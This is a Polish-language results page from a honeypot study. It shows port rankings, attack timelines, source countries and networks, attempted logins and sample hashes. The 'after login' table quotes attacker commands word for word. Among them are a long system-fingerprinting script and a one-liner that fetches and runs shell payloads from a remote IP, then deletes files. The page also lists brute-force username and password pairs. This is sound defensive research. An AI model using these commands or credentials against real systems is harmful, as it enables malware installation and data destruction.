Przejdź do treści

Eksperyment typu „honeypot”

Wyniki

Statystyki z obu honeypotów. Przy każdym wykresie i tabeli podano przedział czasowy, plik CSV ze źródłowymi danymi oraz skrypt, który obliczył te liczby – aby każdy mógł je samodzielnie przeliczyć.

Dane zaktualizowane: 3. 10. 2026 10:31:16 UTC+02:00

Zgłoś problem

Ranking portów #


Główna tabela eksperymentu: które porty cieszyły się największym zainteresowaniem wśród atakujących. Można sortować według dowolnej kolumny, filtrować według serwera oraz wyszukiwać konkretny port, zakres lub nazwę usługi. Do każdego wiersza można odwołać się, na przykład #port-3389.

W przypadku srv4 uwzględnia się rzeczywisty port docelowy z hptcp. Porty przekierowania (42222, 42223, 42280, 42443) nie są uwzględniane jako porty docelowe.
Port Protokół Standardowa usługa Serwer Eksperymenty Unikalny adres IP Udział
5901 tcp VNC oba serwery 883 864 801 16,1 %
3389 tcp RDP oba serwery 734 148 2 425 13,4 %
3389 tcp RDP srv4 726 599 1 515 18,1 %
5900 tcp VNC oba serwery 707 172 1 343 12,9 %
445 tcp SMB oba serwery 459 930 6 055 8,4 %
5901 tcp VNC srv4 449 586 598 11,2 %
5901 tcp VNC srv3 434 278 655 29,7 %
445 tcp SMB srv3 415 953 5 570 28,4 %
5900 tcp VNC srv4 360 884 1 098 9,0 %
5900 tcp VNC srv3 346 288 1 176 23,7 %
Okno czasowe
21. 8. 2026 – 16. 9. 2026
Dane źródłowe
honeypot-ports-aggregated-20260922.csv
Skrypt
zostanie opublikowany
Format
dokumentacja pól

Zmiany w czasie #


Liczba zdarzeń w czasie, podzielona na kampanie i szum tła, a poniżej liczba unikalnych adresów IP. Jak wynika z dzienników agentów, poszczególne kampanie generowały większość dziennego ruchu. Bez takiego podziału wykres wprowadzałby w błąd: kampania wyglądałaby jak trend, a jej zakończenie jak przerwa w gromadzeniu danych.

To, w jaki sposób kampania oddziela się od szumu tła, określa skrypt podany pod wykresem.

Usuń filtry

Liczba zdarzeń

  • Szum podstawowy
  • Kampanie
0200k400k600k800k22. 8.22. 8. 2026 Szum podstawowy: 22 460 Kampanie: 59 843 W sumie: 82 303 Niepełny okres – dane za 12 h / 24 h23. 8. 2026 Szum podstawowy: 45 099 Kampanie: 34 177 W sumie: 79 27624. 8. 2026 Szum podstawowy: 38 153 Kampanie: 10 775 W sumie: 48 92825. 8.25. 8. 2026 Szum podstawowy: 40 077 Kampanie: 29 825 W sumie: 69 90226. 8. 2026 Szum podstawowy: 40 083 Kampanie: 28 709 W sumie: 68 79227. 8. 2026 Szum podstawowy: 42 664 Kampanie: 161 642 W sumie: 204 30628. 8.28. 8. 2026 Szum podstawowy: 42 779 Kampanie: 159 044 W sumie: 201 82329. 8. 2026 Szum podstawowy: 34 634 Kampanie: 171 641 W sumie: 206 27530. 8. 2026 Szum podstawowy: 37 426 Kampanie: 148 263 W sumie: 185 68931. 8.31. 8. 2026 Szum podstawowy: 35 671 Kampanie: 504 248 W sumie: 539 9191. 9. 2026 Szum podstawowy: 53 935 Kampanie: 666 265 W sumie: 720 2002. 9. 2026 Szum podstawowy: 65 803 Kampanie: 209 955 W sumie: 275 7583. 9.3. 9. 2026 Szum podstawowy: 46 703 Kampanie: 227 972 W sumie: 274 6754. 9. 2026 Szum podstawowy: 51 972 Kampanie: 167 450 W sumie: 219 4225. 9. 2026 Szum podstawowy: 58 392 Kampanie: 95 631 W sumie: 154 0236. 9.6. 9. 2026 Szum podstawowy: 85 408 Kampanie: 46 399 W sumie: 131 8077. 9. 2026 Szum podstawowy: 89 526 Kampanie: 94 877 W sumie: 184 4038. 9. 2026 Szum podstawowy: 109 966 Kampanie: 59 781 W sumie: 169 7479. 9.9. 9. 2026 Szum podstawowy: 128 711 Kampanie: 48 861 W sumie: 177 57210. 9. 2026 Szum podstawowy: 132 528 Kampanie: 60 866 W sumie: 193 39411. 9. 2026 Szum podstawowy: 147 151 Kampanie: 63 267 W sumie: 210 41812. 9.12. 9. 2026 Szum podstawowy: 171 996 Kampanie: 82 831 W sumie: 254 82713. 9. 2026 Szum podstawowy: 131 895 Kampanie: 105 016 W sumie: 236 91114. 9. 2026 Szum podstawowy: 129 805 Kampanie: 83 835 W sumie: 213 64015. 9.15. 9. 2026 Szum podstawowy: 112 933 Kampanie: 159 141 W sumie: 272 07416. 9. 2026 Szum podstawowy: 72 402 Kampanie: 28 713 W sumie: 101 115 Niepełny okres – dane za 12 h / 24 h

Unikalne adresy IP

Liczba różnych adresów IP źródłowych w każdym dniu.

  • srv3
  • srv4
02k4k6ksrv4srv322. 8.25. 8.28. 8.31. 8.3. 9.6. 9.9. 9.12. 9.15. 9.22. 8. 2026 srv3: 547 srv4: 1 870 Niepełny okres – dane za 12 h / 24 h23. 8. 2026 srv3: 1 292 srv4: 3 52924. 8. 2026 srv3: 1 429 srv4: 3 30925. 8. 2026 srv3: 1 552 srv4: 3 82426. 8. 2026 srv3: 1 552 srv4: 3 77527. 8. 2026 srv3: 1 585 srv4: 4 30128. 8. 2026 srv3: 1 364 srv4: 4 08329. 8. 2026 srv3: 1 029 srv4: 3 85330. 8. 2026 srv3: 975 srv4: 4 17631. 8. 2026 srv3: 1 488 srv4: 4 1831. 9. 2026 srv3: 1 573 srv4: 4 5002. 9. 2026 srv3: 1 859 srv4: 4 2813. 9. 2026 srv3: 1 621 srv4: 4 3434. 9. 2026 srv3: 1 628 srv4: 4 0875. 9. 2026 srv3: 1 535 srv4: 4 1176. 9. 2026 srv3: 1 637 srv4: 4 3497. 9. 2026 srv3: 1 494 srv4: 4 4028. 9. 2026 srv3: 1 758 srv4: 4 6099. 9. 2026 srv3: 1 733 srv4: 4 67110. 9. 2026 srv3: 1 818 srv4: 5 09511. 9. 2026 srv3: 1 747 srv4: 5 40212. 9. 2026 srv3: 1 859 srv4: 5 45013. 9. 2026 srv3: 1 854 srv4: 5 43414. 9. 2026 srv3: 1 994 srv4: 5 51615. 9. 2026 srv3: 1 884 srv4: 5 30316. 9. 2026 srv3: 1 386 srv4: 3 449 Niepełny okres – dane za 12 h / 24 h

Nie można sumować unikalnych adresów IP między serwerami – ten sam adres mógł służyć do ataku na oba serwery. Dlatego każdy serwer ma własną linię.

Zaciemnione kolumny i puste kółka oznaczają niekompletne okresy: okno gromadzenia danych rozpoczyna się i kończy o godz. 12:00 UTC, a okres przycięty zgodnie z wybranym zakresem jest krótszy niż pozostałe. Nie należy ich zatem porównywać z sąsiednimi.

Wyświetl wartości w formie tabeli
Dzień (UTC) Wydarzenia Kampanie Szum podstawowy Unikalny adres IP srv3 Unikalny adres IP srv4
22. 8. 2026 · niekompletne 82 303 59 843 22 460 547 1 870
23. 8. 2026 79 276 34 177 45 099 1 292 3 529
24. 8. 2026 48 928 10 775 38 153 1 429 3 309
25. 8. 2026 69 902 29 825 40 077 1 552 3 824
26. 8. 2026 68 792 28 709 40 083 1 552 3 775
27. 8. 2026 204 306 161 642 42 664 1 585 4 301
28. 8. 2026 201 823 159 044 42 779 1 364 4 083
29. 8. 2026 206 275 171 641 34 634 1 029 3 853
30. 8. 2026 185 689 148 263 37 426 975 4 176
31. 8. 2026 539 919 504 248 35 671 1 488 4 183
1. 9. 2026 720 200 666 265 53 935 1 573 4 500
2. 9. 2026 275 758 209 955 65 803 1 859 4 281
3. 9. 2026 274 675 227 972 46 703 1 621 4 343
4. 9. 2026 219 422 167 450 51 972 1 628 4 087
5. 9. 2026 154 023 95 631 58 392 1 535 4 117
6. 9. 2026 131 807 46 399 85 408 1 637 4 349
7. 9. 2026 184 403 94 877 89 526 1 494 4 402
8. 9. 2026 169 747 59 781 109 966 1 758 4 609
9. 9. 2026 177 572 48 861 128 711 1 733 4 671
10. 9. 2026 193 394 60 866 132 528 1 818 5 095
11. 9. 2026 210 418 63 267 147 151 1 747 5 402
12. 9. 2026 254 827 82 831 171 996 1 859 5 450
13. 9. 2026 236 911 105 016 131 895 1 854 5 434
14. 9. 2026 213 640 83 835 129 805 1 994 5 516
15. 9. 2026 272 074 159 141 112 933 1 884 5 303
16. 9. 2026 · niekompletne 101 115 28 713 72 402 1 386 3 449
Okno czasowe
21. 8. 2026 – 16. 9. 2026
Dane źródłowe
timeline-aggregated na razie niedostępne
Skrypt
zostanie opublikowany
Format
dokumentacja pól

Mapa pochodzenia połączeń #


Skąd pochodziły połączenia. Kraj określa się na podstawie rejestracji adresu IP, a nie rzeczywistej lokalizacji atakującego – za adresem może kryć się wynajęty serwer lub zainfekowany komputer w dowolnym miejscu na świecie. Dokładne dane przedstawiono w tabelach poniżej.

Mapa jest generowana przez serwis Datawrapper; podczas jej ładowania przeglądarka łączy się z serwerami tego serwisu. Otwórz mapę osobno

Geografia i sieci #


Skąd pochodził ruch na podstawie geolokalizacji źródłowego adresu IP oraz do jakich autonomicznych systemów (ASN) należą te adresy. Geolokalizacja wskazuje, gdzie adres jest zarejestrowany, a nie gdzie znajduje się osoba atakująca.

Najczęściej wybierane kraje

  1. US 37,6 %2 057 660
  2. DE 22,5 %1 230 744
  3. CN 10,2 %556 778
  4. GB 8,9 %486 870
  5. SC 3,4 %184 746
  6. NL 2,2 %120 671
  7. TN 1,8 %96 601
  8. VN 1,2 %64 512
  9. MX 1,1 %59 561
  10. IN 0,9 %49 705
  11. SG 0,9 %49 368
  12. BR 0,8 %44 530
  13. RU 0,8 %42 439
  14. HK 0,7 %38 439
  15. RO 0,7 %37 368

Największe sieci (ASN)

ASN Sieć Wydarzenia Unikalny adres IP Udział
265391 PROVEX TELECOMUNICACOES LTDA
BR
1 1 0,0 %
328661 C-Way-Computers
ZA
1 1 0,0 %
57800 KADRTV-AS
UA
1 1 0,0 %
61312 BROVARY-AS
UA
1 1 0,0 %
24852 VINITA
LT
1 1 0,0 %
131596 TBCOM-NET TBC
TW
1 1 0,0 %
328408 HAMILTON-TELECOM-AS
UG
1 1 0,0 %
37532 ZAMREN
ZM
1 1 0,0 %
Wyświetl wartości w formie tabeli
Kraj Wydarzenia Unikalny adres IP Udział
US 2 057 660 13 624 37,6 %
DE 1 230 744 1 111 22,5 %
CN 556 778 5 671 10,2 %
GB 486 870 2 870 8,9 %
SC 184 746 319 3,4 %
NL 120 671 174 2,2 %
TN 96 601 94 1,8 %
VN 64 512 644 1,2 %
MX 59 561 281 1,1 %
IN 49 705 850 0,9 %
Okno czasowe
21. 8. 2026 – 16. 9. 2026
Dane źródłowe
geo-aggregated na razie niedostępne
Skrypt
zostanie opublikowany
Format
dokumentacja pól

Dane logowania #


Kombinacje nazw użytkownika i haseł, które sprawdzali atakujący, oraz najczęściej sprawdzane nazwy użytkowników. Wartości są przedstawione dokładnie tak, jak zostały przesłane.

Najczęściej wybierane nazwy użytkownika

  1. root 4 665 haseł43 470
  2. admin 722 haseł10 909
  3. enable\x00 2 haseł2 938
  4. user 216 haseł2 100
  5. sa 83 haseł2 049
  6. support 178 haseł1 551
  7. test 215 haseł1 518
  8. ubuntu 100 haseł1 456
  9. cloud 148 haseł1 281
  10. postgres 93 haseł1 198
  11. batacek 147 haseł1 164
  12. srv 147 haseł1 154
  13. shell\x00 1 haseł965
  14. deploy 66 haseł925
  15. ftp 459 haseł876

Najczęstsze kombinacje

Imię Hasło Eksperymenty Unikalny adres IP
zuxin zuxin123 1 1
zuxin zuxin1234 1 1
zuxin zuxin@12345 1 1
zx 1234567890 1 1
zx Admin@123 1 1
zx zx1 1 1
zxw zxw 1 1
zy 123123 1 1
zy 12345678 1 1
zy 123456789 1 1
Okno czasowe
21. 8. 2026 – 16. 9. 2026
Dane źródłowe
credentials-aggregated na razie niedostępne
Skrypt
zostanie opublikowany
Format
dokumentacja pól

Co działo się po zalogowaniu #


Polecenia wprowadzone przez atakujących w emulowanej powłoce, uporządkowane według częstotliwości. Jest to dane wprowadzone przez atakującego, a nie kod, który faktycznie byłby wykonywany na serwerze.

Pierwotny zapis, wyświetlany dokładnie w takiej postaci, w jakiej powstał.
Polecenie Liczba Relacje
echo xsec 1 704 1 704
/bin/busybox UNSTABLE 1 323 1 323
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PATH:-} LC_ALL=C LANG=C uname=$(for c in uname /bin/uname /usr/bin/uname 'busybox uname' 'toybox uname'; do v=$($c -s -v -n -m 2>/dev/null) && [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; done; IFS= read -r v < /proc/version && printf '%s\n' "$v") 2>/dev/null arch=$(for c in uname /bin/uname /usr/bin/uname 'busybox uname' 'toybox uname'; do v=$($c -m 2>/dev/null) && [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; done; for c in arch 'busybox arch' 'toybox arch'; do v=$($c 2>/dev/null) && [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; done; printf '%s\n' unknown) uptime=$(IFS= read -r v < /proc/uptime && printf '%s\n' "$v" || cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null || toybox cat /proc/uptime 2>/dev/null) 2>/dev/null cpus=$(unset OMP_NUM_THREADS OMP_THREAD_LIMIT; for c in nproc /usr/bin/nproc 'busybox nproc' 'toybox nproc'; do v=$($c 2>/dev/null) || continue; case $v in ''|*[!0-9]*) continue ;; esac; [ "$v" -gt 0 ] 2>/dev/null && { printf '%s\n' "$v"; exit; }; done; for a in awk 'busybox awk' 'toybox awk'; do $a 'BEGIN { exit 0 }' </dev/null 2>/dev/null && break; done; v=$($a 'function count(s, a,b,n,i,t,m) { gsub(/[[:space:]]/,"",s); n=split(s,a,","); for(i=1;i<=n;i++) { if(a[i]!~/^[0-9]+(-[0-9]+)?$/) return 0; m=split(a[i],b,"-"); if(m==2 && b[2]+0<b[1]+0) return 0; t+=(m==2?b[2]-b[1]+1:1) } return t } BEGIN { while((getline s < "/proc/self/status")>0) if(s~/^Cpus_allowed_list:/) { sub(/^[^:]*:/,"",s); n=count(s); if(n>0) { print n; exit } } }' 2>/dev/null); [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; for c in getconf 'busybox getconf' 'toybox getconf'; do v=$($c _NPROCESSORS_ONLN 2>/dev/null) || continue; case $v in ''|*[!0-9]*) continue ;; esac; [ "$v" -gt 0 ] 2>/dev/null && { printf '%s\n' "$v"; exit; }; done; v=$($a 'BEGIN { if((getline s < "/sys/devices/system/cpu/online")>0 && s~/^[0-9]+(-[0-9]+)?(,[0-9]+(-[0-9]+)?)*$/) { k=split(s,a,","); for(i=1;i<=k;i++) { m=split(a[i],b,"-"); if(m==2 && b[2]+0<b[1]+0) { n=0; break } n+=(m==2?b[2]-b[1]+1:1) } if(n>0) { print n; exit } } while((getline s < "/proc/cpuinfo")>0) { if(s~/^[[:space:]]*processor[[:space:]]*:[[:space:]]*[0-9]+[[:space:]]*$/ || s~/^[[:space:]]*processor[[:space:]]+[0-9]+:/) n++; if(s~/^[[:space:]]*#[[:space:]]*processors[[:space:]]*:/) { sub(/^[^:]*:/,"",s); p=s+0 } } if(n>0) print n; else if(p>0) print p }' 2>/dev/null); printf '%s\n' "${v:-unknown}") cpu_model=$(for a in awk 'busybox awk' 'toybox awk'; do $a 'BEGIN { exit 0 }' </dev/null 2>/dev/null && break; done; r() { [ -r "$1" ] || return; while IFS= read -r s || [ -n "$s" ]; do printf '%s\n' "$s"; done < "$1"; }; v=$({ lscpu 2>/dev/null || busybox lscpu 2>/dev/null || toybox lscpu 2>/dev/null; printf '\n@@CPUINFO@@\n'; r /proc/cpuinfo; printf '\n@@MIDR@@\n'; for f in /sys/devices/system/cpu/cpu[0-9]*/regs/identification/midr_el1; do r "$f"; done; } | $a 'function trim(s) { gsub(/^[[:space:]]+|[[:space:]]+$/, "", s); return s } function useful(s, t) { t=tolower(trim(s)); return t!="" && t!~/^(unknown|undefined|unspecified|not specified|not available|not present|not installed|default string|to be filled by o\.e\.m\.|n\/a|none|null|\(null\)|-|(0x)?[0-9a-f]+)$/ && t!~/^(unknown|unidentified|unrecognized)([[:space:]]|$)/ && t!~/^(armv[0-9]+(-compatible)?|aarch64|arm64|arm)([[:space:]]+processor|[[:space:]]*\(|$)/ && t!~/^(armv[0-9]+|aarch64|arm64|arm|processor|cpu|riscv(32|64)?|risc-v|x86_64|amd64|i[3-6]86|ppc64(le)?|powerpc|loongarch64|s390x)$/; } function number(s, n,i,d) { s=tolower(trim(s)); n=0; if(s~/^0x[0-9a-f]+$/) { for(i=3;i<=length(s);i++) { d=index("0123456789abcdef",substr(s,i,1))-1; n=n*16+d } return n; } return s~/^[0-9]+$/ ? s+0 : -1; } function addname(s) { if(useful(s) && !names[s]++) name[++nn]=s } function arm(impl,part, id,s) { impl=number(impl); part=number(part); if(impl<0 || impl>255 || part<0 || part>4095) return; id=sprintf("%02x:%03x",impl,part); if(ids[id]++) return; s=parts[id]; if(s=="") s="ARM implementer=0x" substr(id,1,2) " part=0x" substr(id,4); core[++nc]=s; } function addraw(s) { if(s!="" && !rawseen[s]++) raw[++nr]=s } function flush() { addname(model); if(implementer!="" && part!="") arm(implementer,part); if(mvendor!="" || march!="" || mimp!="") addraw("RISC-V mvendorid=" mvendor " marchid=" march " mimpid=" mimp); model=implementer=part=""; mvendor=march=mimp=""; } function table(impl,s, a,b,n,i) { n=split(s,a," "); for(i=1;i<=n;i++) { split(a[i],b,"="); parts[impl ":" b[1]]=b[2] } } function output(a,n, i) { for(i=1;i<=n;i++) printf "%s%s",(i>1?" + ":""),a[i] } BEGIN { table("41","b76=ARM1176 c05=Cortex-A5 c07=Cortex-A7 c08=Cortex-A8 c09=Cortex-A9 c0d=Cortex-A17 c0e=Cortex-A17 c0f=Cortex-A15 d01=Cortex-A32 d02=Cortex-A34 d03=Cortex-A53 d04=Cortex-A35 d05=Cortex-A55 d06=Cortex-A65 d07=Cortex-A57 d08=Cortex-A72 d09=Cortex-A73 d0a=Cortex-A75 d0b=Cortex-A76 d0c=Neoverse-N1 d0d=Cortex-A77 d0e=Cortex-A76AE d40=Neoverse-V1 d41=Cortex-A78 d42=Cortex-A78AE d44=Cortex-X1 d46=Cortex-A510 d47=Cortex-A710 d48=Cortex-X2 d49=Neoverse-N2 d4a=Neoverse-E1 d4b=Cortex-A78C d4d=Cortex-A715 d4e=Cortex-X3 d4f=Neoverse-V2 d80=Cortex-A520 d81=Cortex-A720 d82=Cortex-X4 d84=Neoverse-V3 d85=Cortex-X925 d87=Cortex-A725"); table("42","00f=Brahma-B15 100=Brahma-B53 516=ThunderX2"); table("43","0a0=ThunderX 0a1=ThunderX-88XX 0a2=ThunderX-81XX 0a3=ThunderX-83XX 0af=ThunderX2-99xx"); table("46","001=A64FX"); table("4e","000=Denver 003=Denver-2 004=Carmel"); table("50","000=X-Gene"); table("51","001=Oryon 00f=Scorpion 02d=Scorpion 04d=Krait 06f=Krait 201=Kryo 205=Kryo 211=Kryo 800=Falkor-V1/Kryo 801=Kryo-V2 802=Kryo-3XX-Gold 803=Kryo-3XX-Silver 804=Kryo-4XX-Gold 805=Kryo-4XX-Silver c00=Falkor c01=Saphira"); table("c0","ac3=Ampere-1 ac4=Ampere-1a"); } /^@@CPUINFO@@$/ { section=1; next } /^@@MIDR@@$/ { flush(); section=2; next } section==2 { s=tolower(trim($0)); sub(/^0x/,"",s); if(s!~/^[0-9a-f]+$/ || length(s)<8) next; s=substr(s,length(s)-7); arm("0x" substr(s,1,2),"0x" substr(s,5,3)); next; } section==1 && /^[[:space:]]*$/ { flush(); next } { pos=index($0,":"); if(!pos) next; key=tolower(trim(substr($0,1,pos-1))); value=trim(substr($0,pos+1)); if(section==0) { if(key=="model name" && useful(value) && !lsseen[value]++) ls[++nl]=value; if(key=="bios model name" && useful(value) && !biosseen[value]++) bios[++nb]=value; next; } if(key=="processor" && value~/^[0-9]+$/) flush(); if(key=="cpu implementer") implementer=value; if(key=="cpu part") part=value; if(key=="mvendorid") mvendor=value; if(key=="marchid") march=value; if(key=="mimpid") mimp=value; if(key~/^(model name|cpu model|cpu|uarch|cpu type|processor)$/ && useful(value)) { if(model=="" || key=="model name" || key=="uarch") model=value; } if(key~/^processor[[:space:]]+[0-9]+$/ && value~/machine[[:space:]]*=/) { s=value; sub(/^.*machine[[:space:]]*=[[:space:]]*/,"",s); sub(/[,[:space:]].*$/,"",s); if(s!="") addraw("IBM S/390 machine " s); } } END { flush(); if(nn>0) { output(name,nn); if(nc>1) { printf " [cores: "; output(core,nc); printf "]" } } else if(nc>1) { output(core,nc); } else if(nl>0) { output(ls,nl); } else if(nb>0) { output(bios,nb); } else if(nc>0) { output(core,nc); } else if(nr>0) { output(raw,nr); } if(nn+nc+nl+nb+nr>0) print ""; }' 2>/dev/null); [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; if ! $a 'BEGIN { exit 0 }' </dev/null 2>/dev/null; then v=$(emit() { [ -n "$1" ] || return; case "$seen" in *"|$1|"*) return ;; esac; printf '%s%s' "$sep" "$1"; sep=' + '; seen="$seen|$1|"; }; rec() { if [ -n "$n" ]; then emit "$n"; elif [ -n "$i" ] && [ -n "$p" ]; then emit "ARM implementer=$i part=$p"; fi; n= i= p=; }; n= i= p= seen= sep=; if [ -r /proc/cpuinfo ]; then while IFS=: read -r k x || [ -n "$k$x" ]; do k=${k#"${k%%[![:space:]]*}"}; k=${k%"${k##*[![:space:]]}"}; x=${x#"${x%%[![:space:]]*}"}; x=${x%"${x##*[![:space:]]}"}; case "$k" in '') rec ;; processor) case "$x" in *[!0-9]*) ;; *) rec ;; esac ;; 'CPU implementer') i=$x ;; 'CPU part') p=$x ;; 'model name'|'Model Name'|'cpu model'|cpu|uarch|'cpu type'|Processor) case "$x" in ''|[Uu][Nn][Kk][Nn][Oo][Ww][Nn]*|[Nn]/[Aa]|[Aa][Rr][Mm]*[Pp]rocessor*|[Aa][Aa][Rr][Cc][Hh]64*) ;; *) case "$x" in *[!0-9]*) n=$x ;; esac ;; esac ;; esac; done < /proc/cpuinfo; rec; fi); [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; fi; v=$(for d in /sys/firmware/devicetree/base /proc/device-tree; do [ -d "$d/cpus" ] || continue; for f in "$d"/cpus/*/compatible; do [ -r "$f" ] || continue; tr '\000' '\n' < "$f" 2>/dev/null || busybox tr '\000' '\n' < "$f" 2>/dev/null || toybox tr '\000' '\n' < "$f" 2>/dev/null; done; break; done | $a 'NF && !seen[$0]++ { printf "%s%s",n++?" + ":"CPU compatible: ",$0 } END { if(n) print "" }' 2>/dev/null); printf '%s\n' "${v:-unknown ($arch)}") gpu_info=$(for a in awk 'busybox awk' 'toybox awk'; do $a 'BEGIN { exit 0 }' </dev/null 2>/dev/null && break; done; r() { [ -r "$1" ] || return; while IFS= read -r s || [ -n "$s" ]; do printf '%s\n' "$s"; done < "$1"; }; v=$(for c in lspci 'busybox lspci' 'toybox lspci'; do p=$($c -Dnn 2>/dev/null) || p=; [ -n "$p" ] || { p=$($c -nn 2>/dev/null) || p=; }; [ -n "$p" ] || { p=$($c 2>/dev/null) || p=; }; p=$(printf '%s\n' "$p" | $a '{ s=tolower($0) } s~/\[03[0-9a-f][0-9a-f]\]/ || s~/(vga compatible|3d|display) controller/ || s~/(^|[[:space:]])(class[[:space:]]+)?03[0-9a-f][0-9a-f]:[[:space:]]/ { if(!seen[$0]++) print }' 2>/dev/null); [ -n "$p" ] && { printf '%s\n' "$p"; break; }; done); if [ -n "$v" ]; then printf '%s\n' "$v"; else for d in /sys/bus/pci/devices/*; do c=$(r "$d/class"); case $c in 0x03????) x=$(r "$d/vendor"); y=$(r "$d/device"); printf '%s display controller [%s:%s]\n' "${d##*/}" "${x#0x}" "${y#0x}" ;; esac; done; fi; for d in /sys/class/drm/card[0-9]* /sys/class/drm/renderD[0-9]*; do [ -d "$d/device" ] || continue; case ${d##*/} in *-*) continue ;; esac; e=$(r "$d/device/uevent"); case $e in *PCI_SLOT_NAME=*) continue ;; esac; p=$(CDPATH= cd -P "$d/device" 2>/dev/null && pwd -P); [ -n "$p" ] || continue; x=$(printf '%s\n' "$e" | $a '/^DRIVER=/ { sub(/^DRIVER=/,""); print; exit }' 2>/dev/null); printf '%s DRM device: %s\n' "$p" "${x:-unknown}"; done | $a '!seen[$0]++' 2>/dev/null) last_output=$(last 2>/dev/null) filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ) printf 'UNAME:%s\n' "$uname" printf 'ARCH:%s\n' "$arch" printf 'UPTIME:%s\n' "$uptime" printf 'CPUS:%s\n' "$cpus" printf 'CPU_MODEL:%s\n' "$cpu_model" printf 'GPU:%s\n' "$gpu_info" printf 'LAST:%s\n' "$last_output" printf 'FILTER:%s\n' "$filter_output" 1 247 1 247
echo -e "\x47\x41\x59" 1 233 411
ping ;sh 1 158 1 157
enablelinuxshell 1 084 1 084
ping; sh 905 905
/bin/busybox STC 899 899
cd /tmp 2>/dev/null || cd /run 2>/dev/null || cd /; wget http://213.232.114.14/handshakebins.sh 2>/dev/null; busybox wget http://213.232.114.14/handshakebins.sh 2>/dev/null; curl -o handshakebins.sh http://213.232.114.14/handshakebins.sh 2>/dev/null; chmod 777 handshakebins.sh 2>/dev/null; sh handshakebins.sh 2>/dev/null; tftp 213.232.114.14 -c get handshaketftp1.sh 2>/dev/null; chmod 777 handshaketftp1.sh 2>/dev/null; sh handshaketftp1.sh 2>/dev/null; tftp -r handshaketftp2.sh -g 213.232.114.14 2>/dev/null; chmod 777 handshaketftp2.sh 2>/dev/null; sh handshaketftp2.sh 2>/dev/null; rm -rf handshakebins.sh handshaketftp1.sh handshaketftp2.sh 2>/dev/null; rm -rf * 2>/dev/null; echo "PAYLOAD_EXECUTED" 842 842
echo PAYLOAD_EXECUTED 797 797
Okno czasowe
21. 8. 2026 – 16. 9. 2026
Dane źródłowe
attacker-commands-aggregated na razie niedostępne
Skrypt
zostanie opublikowany
Format
dokumentacja pól

Pobrane próbki #


Pliki, które atakujący próbowali pobrać lub przesłać, w podziale na typ i architekturę.

Tutaj znajdują się tylko skróty i metadane. Same próbki znajdują się w zarchiwizowanym pliku chronionym hasłem w sekcji Dane

Według typu pliku

  1. PE1 058
  2. ELF58
  3. script39
  4. data35

Zgodnie z architekturą

  1. —1 132
  2. x86_6424
  3. arm11
  4. x864
  5. mips4
  6. mipsel4
  7. aarch643
  8. riscv2
  9. elf-0x5d2
  10. sh1
  11. elf-0x41
  12. ppc1
  13. sparc1
SHA-256 Typ Architektura Rozmiar Po raz pierwszy Uchwycone Wyszukaj
01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b data — 1 B 23. 8. 2026 16:54:42 492 VirusTotal
01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b data — 1 B 23. 8. 2026 10:04:58 330 VirusTotal
f2e2ffc024ab99eb49fa207756481aa80713398142f30888aebace5706909b36 data — 697 B 23. 8. 2026 12:07:36 243 VirusTotal
a6296a79f44e21b76604d2d2bbf795d2cf380f70e39d45fbf166707ff3b4a6a4 script — 306 B 22. 8. 2026 18:09:16 208 VirusTotal
4af5a5c98ad132095c6fbe7b02c242153a190a01cc321e50a916a0ca46fbaa62 data — 9 B 22. 8. 2026 18:09:19 206 VirusTotal
4af5a5c98ad132095c6fbe7b02c242153a190a01cc321e50a916a0ca46fbaa62 data — 9 B 22. 8. 2026 15:49:53 205 VirusTotal
a9b1c85a7bd78dd1112ecc75c9070ea8c53078831a17aa09ebeb287fe6e21b72 data — 9 B 7. 9. 2026 11:48:13 59 VirusTotal
1193dde1c831808bf6f2db6f5b850b846b8a7f870873ec3b8a347f21cc5d96e3 data — 9 B 7. 9. 2026 11:48:13 59 VirusTotal
14049d077b887cbb8060d223ff9626664a044a8c3145f6a2b95a325df36b279b data — 7 B 13. 9. 2026 15:31:53 58 VirusTotal
43728fbfb98bb39ff61a2db0fc2905bd6937997062b05b9ab8b186fdee18c09a data — 399 B 23. 8. 2026 00:49:29 47 VirusTotal
Okno czasowe
21. 8. 2026 – 16. 9. 2026
Dane źródłowe
samples-aggregated na razie niedostępne
Skrypt
zostanie opublikowany
Format
dokumentacja pól

Porównanie serwerów #


O ile wzrosło obciążenie dzięki większej powierzchni i czym różnią się oba serwery pod względem struktury.

